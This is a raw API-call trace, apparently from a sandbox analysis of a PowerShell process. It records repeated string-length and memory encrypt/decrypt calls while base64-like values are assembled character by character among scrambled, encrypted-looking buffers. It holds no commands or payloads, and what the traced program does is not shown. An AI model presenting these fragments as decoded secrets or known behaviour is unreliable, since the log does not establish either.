(param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦뱼ꌯज㻏케૑힓") returned 0x18 [0196.948] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦뱼ꌯज㻏케૑힓") returned 0x18 [0196.948] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.948] SysStringLen (param_1="iIRQUlyZfB25DgdZR83Wⴂ") returned 0x18 [0196.948] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.948] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦쪠Ӝị尘鉡郈ѣ") returned 0x18 [0196.948] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦쪠Ӝị尘鉡郈ѣ") returned 0x18 [0196.948] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.948] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ⴂ") returned 0x18 [0196.948] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.948] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦┕⣚欗貳᫐ပ臤ᰏ") returned 0x18 [0196.948] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦┕⣚欗貳᫐ပ臤ᰏ") returned 0x18 [0196.948] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.948] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2Zⴂ") returned 0x18 [0196.948] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.949] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦⾗遃鎛ꮧኸ郛㙈") returned 0x18 [0196.949] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦⾗遃鎛ꮧኸ郛㙈") returned 0x18 [0196.949] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.949] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2Zz") returned 0x18 [0196.949] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.949] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦ᏺ읦絎䫧Ⴖ哱徔䨬") returned 0x18 [0196.949] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦ᏺ읦絎䫧Ⴖ哱徔䨬") returned 0x18 [0196.949] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.949] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQ") returned 0x18 [0196.949] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0196.949] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞") returned 0x18 [0196.950] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞") returned 0x18 [0196.950] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞") returned 0x18 [0196.950] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞") returned 0x20 [0196.950] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.950] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZ䐎驃ᤠ鄹걥") returned 0x20 [0196.950] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.950] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞㮰땡퀠⠥练쾏ꗖ⹠") returned 0x20 [0196.950] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞㮰땡퀠⠥练쾏ꗖ⹠") returned 0x20 [0196.950] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.950] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZG驃ᤠ鄹걥") returned 0x20 [0196.950] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.950] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞⚏욵䬠ㅼ茾ᕄ캐") returned 0x20 [0196.950] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞⚏욵䬠ㅼ茾ᕄ캐") returned 0x20 [0196.950] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.951] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKᤠ鄹걥") returned 0x20 [0196.951] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.951] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞䎯㿼⿹ⶱ좘崛龺") returned 0x20 [0196.951] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞䎯㿼⿹ⶱ좘崛龺") returned 0x20 [0196.951] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.951] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKuᤠ鄹걥") returned 0x20 [0196.951] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.951] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞\俛⑏ه扐㊞깥룫∡) returned 0x20 [0196.951] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞\俛⑏ه扐㊞깥룫∡) returned 0x20 [0196.951] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.951] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6鄹걥") returned 0x20 [0196.951] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.951] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞嫮캳蓾㹍욢궇썄呃") returned 0x20 [0196.952] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞嫮캳蓾㹍욢궇썄呃") returned 0x20 [0196.952] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.952] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6Z鄹걥") returned 0x20 [0196.952] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.952] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞膀麤턊줎ﯷ흨Ә") returned 0x20 [0196.952] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞膀麤턊줎ﯷ흨Ә") returned 0x20 [0196.952] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.952] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6Zc걥") returned 0x20 [0196.952] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.952] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞枩㴡袤臞歵뛏댫⧜") returned 0x20 [0196.952] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞枩㴡袤臞歵뛏댫⧜") returned 0x20 [0196.952] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.952] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6Zck") returned 0x20 [0196.952] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0196.953] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌") returned 0x20 [0196.953] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌") returned 0x20 [0196.953] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌") returned 0x20 [0196.953] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌") returned 0x28 [0196.953] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.953] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6Zckg舞볌꓉ἔ츶᪅") returned 0x28 [0196.953] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.953] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌⩴첮羆㖥郌ﴝㅌ̈́") returned 0x28 [0196.953] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌⩴첮羆㖥郌ﴝㅌ̈́") returned 0x28 [0196.953] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.953] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgM볌꓉ἔ츶᪅") returned 0x28 [0196.954] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.954] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌鯦ꪅ㬂籬滄奶ᛄ㞡") returned 0x28 [0196.954] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌鯦ꪅ㬂籬滄奶ᛄ㞡") returned 0x28 [0196.954] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.954] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMI꓉ἔ츶᪅") returned 0x28 [0196.954] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.956] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌댶ᖢ홥뼗詤ﴰ巰") returned 0x28 [0196.956] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌댶ᖢ홥뼗詤ﴰ巰") returned 0x28 [0196.956] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.957] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRἔ츶᪅") returned 0x28 [0196.957] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.957] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌૔멀ｴ鹒㮒皈䩑ᎆ") returned 0x28 [0196.957] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌૔멀ｴ鹒㮒皈䩑ᎆ") returned 0x28 [0196.957] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.957] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRr츶᪅") returned 0x28 [0196.957] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.957] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌可﭅駔缍꟯㾆驓") returned 0x28 [0196.957] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌可﭅駔缍꟯㾆驓") returned 0x28 [0196.957] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.957] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRrQ᪅") returned 0x28 [0196.957] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.958] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌ꯅ瑩斘櫜㊇솸ꊤ") returned 0x28 [0196.958] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌ꯅ瑩斘櫜㊇솸ꊤ") returned 0x28 [0196.958] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.958] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRrQw") returned 0x28 [0196.958] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.958] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌\蛛ᒣ䫰⃅ᕓव甖⋃) returned 0x28 [0196.958] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌\蛛ᒣ䫰⃅ᕓव甖⋃) returned 0x28 [0196.958] SystemFunction041 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.958] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRrQwe") returned 0x28 [0196.958] SystemFunction040 (in: Memory=0x5c9186c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9186c) returned 0x0 [0196.958] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠⊜) returned 0x28 [0196.959] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠⊜) returned 0x28 [0196.959] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠⊜) returned 0x28 [0196.959] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠⊜) returned 0x30 [0196.959] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.959] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRrQwef粒ꆐℤ帉鏫凿") returned 0x30 [0196.959] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.959] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠⊜ಐፁ汣\狛멤鞗脢") returned 0x30 [0196.959] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠⊜ಐፁ汣\狛멤鞗脢") returned 0x30 [0196.959] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.959] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRrQwefp粒ꆐℤ帉鏫凿") returned 0x30 [0196.959] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.959] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠゜ោ煱敖\᧞ᨍ뢯젆") returned 0x30 [0196.959] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠゜ោ煱敖\᧞ᨍ뢯젆") returned 0x30 [0196.959] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.960] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRrQwefpEꆐℤ帉鏫凿") returned 0x30 [0196.960] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.960] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠妜驼⌡뵤⼋ﱧ⋙) returned 0x30 [0196.960] SysStringLen (param_1="䨇度⅄ㅰ癿綾␼䍛懾笄ᆒ椻亂幱㳦힓粛存鋏唗慞ư몋쮥ḇ铻硉槶㢌둃\郝庎쬛皪飨쓠妜驼⌡뵤⼋ﱧ⋙) returned 0x30 [0196.960] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.960] SysStringLen (param_1="iIRQUlyZfB25DgdZR83W2ZzQZGKu6ZckgMIRrQwefpE=ℤ帉鏫凿") returned 0x30 [0196.960] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0196.960] EtwEventActivityIdControl () returned 0x0 [0196.960] EtwEventActivityIdControl () returned 0x0 [0196.960] EtwEventActivityIdControl () returned 0x0 [0196.962] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0196.963] EtwEventActivityIdControl () returned 0x0 [0196.963] EtwEventActivityIdControl () returned 0x0 [0196.963] EtwEventActivityIdControl () returned 0x0 [0196.963] SysStringLen (param_1="") returned 0x8 [0196.963] SysStringLen (param_1="N") returned 0x8 [0196.963] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.964] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0196.964] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0196.964] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.964] SysStringLen (param_1="ND") returned 0x8 [0196.964] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.964] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0196.964] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0196.964] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.964] SysStringLen (param_1="NDZ") returned 0x8 [0196.964] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.964] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0196.964] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0196.964] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.965] SysStringLen (param_1="NDZl") returned 0x8 [0196.965] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.965] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0196.965] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0196.965] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.965] SysStringLen (param_1="NDZlO") returned 0x8 [0196.965] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.965] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0196.965] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0196.965] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.965] SysStringLen (param_1="NDZlOD") returned 0x8 [0196.965] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.965] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0196.965] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0196.965] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.966] SysStringLen (param_1="NDZlODR") returned 0x8 [0196.966] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.966] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0196.966] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0196.966] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.966] SysStringLen (param_1="NDZlODRm") returned 0x8 [0196.966] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0196.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0196.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0196.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0196.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0196.967] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.967] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0196.967] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0196.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0196.967] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.967] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0196.967] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0196.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0196.967] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.967] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0196.967] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0196.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0196.968] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.968] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0196.968] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0196.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0196.968] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.968] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0196.968] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0196.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0196.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") 